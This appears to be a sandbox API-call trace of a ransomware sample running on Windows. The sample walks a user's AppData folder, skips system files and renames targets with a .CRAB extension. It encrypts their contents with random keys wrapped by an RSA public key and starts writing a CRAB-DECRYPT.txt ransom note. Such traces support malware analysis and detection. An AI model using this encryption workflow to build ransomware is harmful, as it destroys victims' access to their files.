	[0108.874] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.874] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.874] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0108.874] lstrcmpW (lpString1="5yzpGS XhyEkxX.gif", lpString2=".") returned 1
	[0108.874] lstrcmpW (lpString1="5yzpGS XhyEkxX.gif", lpString2="..") returned 1
	[0108.874] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="5yzpGS XhyEkxX.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif"
	[0108.874] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.875] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif") returned 56
	[0108.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif") returned 56
	[0108.875] lstrlenW (lpString=".gif") returned 4
	[0108.875] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.875] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0108.875] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif") returned 56
	[0108.875] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif") returned 56
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="desktop.ini") returned -1
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="autorun.inf") returned -1
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="ntuser.dat") returned -1
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="iconcache.db") returned -1
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="bootsect.bak") returned -1
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="boot.ini") returned -1
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="ntuser.dat.log") returned -1
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="thumbs.db") returned -1
	[0108.875] lstrcmpiW (lpString1="5yzpGS XhyEkxX.gif", lpString2="CRAB-DECRYPT.txt") returned -1
	[0108.875] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.875] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB") returned 61
	[0108.876] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\5yzpgs xhyekxx.gif")) returned 0x20
	[0108.876] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif", dwFileAttributes=0x20) returned 1
	[0108.876] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\5yzpgs xhyekxx.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\5yzpgs xhyekxx.gif.crab")) returned 1
	[0108.877] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0108.877] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB"
	[0108.877] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB.CRAB"
	[0108.877] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0108.877] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.878] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.878] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0108.878] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0108.878] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.878] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0108.878] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.879] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.879] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.879] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0108.879] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0108.879] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.879] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0108.879] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0108.879] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0108.880] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd801a0) returned 1
	[0108.880] CryptGetKeyParam (in: hKey=0xd801a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.880] CryptEncrypt (in: hKey=0xd801a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0108.880] GetLastError () returned 0x0
	[0108.880] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0108.880] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0108.880] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd7fea0) returned 1
	[0108.880] CryptGetKeyParam (in: hKey=0xd7fea0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.880] CryptEncrypt (in: hKey=0xd7fea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0108.881] GetLastError () returned 0x0
	[0108.881] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0108.881] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\5yzpGS XhyEkxX.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\5yzpgs xhyekxx.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0108.881] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0108.881] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0108.881] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x736f, lpOverlapped=0x0) returned 1
	[0108.891] VirtualAlloc (lpAddress=0x0, dwSize=0x7370, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0108.891] VirtualAlloc (lpAddress=0x0, dwSize=0x7370, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0108.892] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.893] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff8c91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.893] WriteFile (in: hFile=0x3ec, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x7370, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314c9b4*=0x7370, lpOverlapped=0x0) returned 1
	[0108.893] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.893] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.896] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.896] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.896] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0108.896] CloseHandle (hObject=0x3ec) returned 1
	[0108.897] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.898] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.898] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.898] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.898] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.899] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.899] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0108.899] lstrcmpW (lpString1="8g-qzF4N.wav", lpString2=".") returned 1
	[0108.899] lstrcmpW (lpString1="8g-qzF4N.wav", lpString2="..") returned 1
	[0108.899] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="8g-qzF4N.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav"
	[0108.899] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.899] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav") returned 50
	[0108.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav") returned 50
	[0108.899] lstrlenW (lpString=".wav") returned 4
	[0108.899] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.899] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0108.899] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.900] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav") returned 50
	[0108.900] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav") returned 50
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="desktop.ini") returned -1
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="autorun.inf") returned -1
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="ntuser.dat") returned -1
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="iconcache.db") returned -1
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="bootsect.bak") returned -1
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="boot.ini") returned -1
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="ntuser.dat.log") returned -1
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="thumbs.db") returned -1
	[0108.900] lstrcmpiW (lpString1="8g-qzF4N.wav", lpString2="CRAB-DECRYPT.txt") returned -1
	[0108.900] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.900] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB") returned 55
	[0108.900] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\8g-qzf4n.wav")) returned 0x20
	[0108.900] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav", dwFileAttributes=0x20) returned 1
	[0108.901] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\8g-qzf4n.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\8g-qzf4n.wav.crab")) returned 1
	[0108.901] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0108.901] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB"
	[0108.901] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB.CRAB"
	[0108.901] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0108.902] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.902] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.902] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0108.902] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.902] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.902] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0108.903] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.903] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.903] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0108.903] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0108.903] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.903] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0108.904] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0108.904] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0108.904] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80220) returned 1
	[0108.904] CryptGetKeyParam (in: hKey=0xd80220, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.904] CryptEncrypt (in: hKey=0xd80220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0108.905] GetLastError () returned 0x0
	[0108.905] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0108.905] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0108.905] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd7fee0) returned 1
	[0108.905] CryptGetKeyParam (in: hKey=0xd7fee0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.905] CryptEncrypt (in: hKey=0xd7fee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0108.905] GetLastError () returned 0x0
	[0108.905] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.905] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8g-qzF4N.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\8g-qzf4n.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0108.906] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0108.906] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0108.906] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x182e2, lpOverlapped=0x0) returned 1
	[0108.918] VirtualAlloc (lpAddress=0x0, dwSize=0x182f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0108.920] VirtualAlloc (lpAddress=0x0, dwSize=0x182f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.923] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.924] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe7d1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.924] WriteFile (in: hFile=0x3ec, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x182f0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314c9b4*=0x182f0, lpOverlapped=0x0) returned 1
	[0108.925] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.925] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.929] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.929] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.929] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0108.929] CloseHandle (hObject=0x3ec) returned 1
	[0108.931] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.932] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.932] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.932] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.932] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.933] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.933] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0108.933] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1
	[0108.933] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1
	[0108.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe"
	[0108.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\"
	[0108.933] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.933] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.934] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.934] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.934] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.934] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.934] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.934] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.934] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\\\CRAB-DECRYPT.txt") returned 61
	[0108.934] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
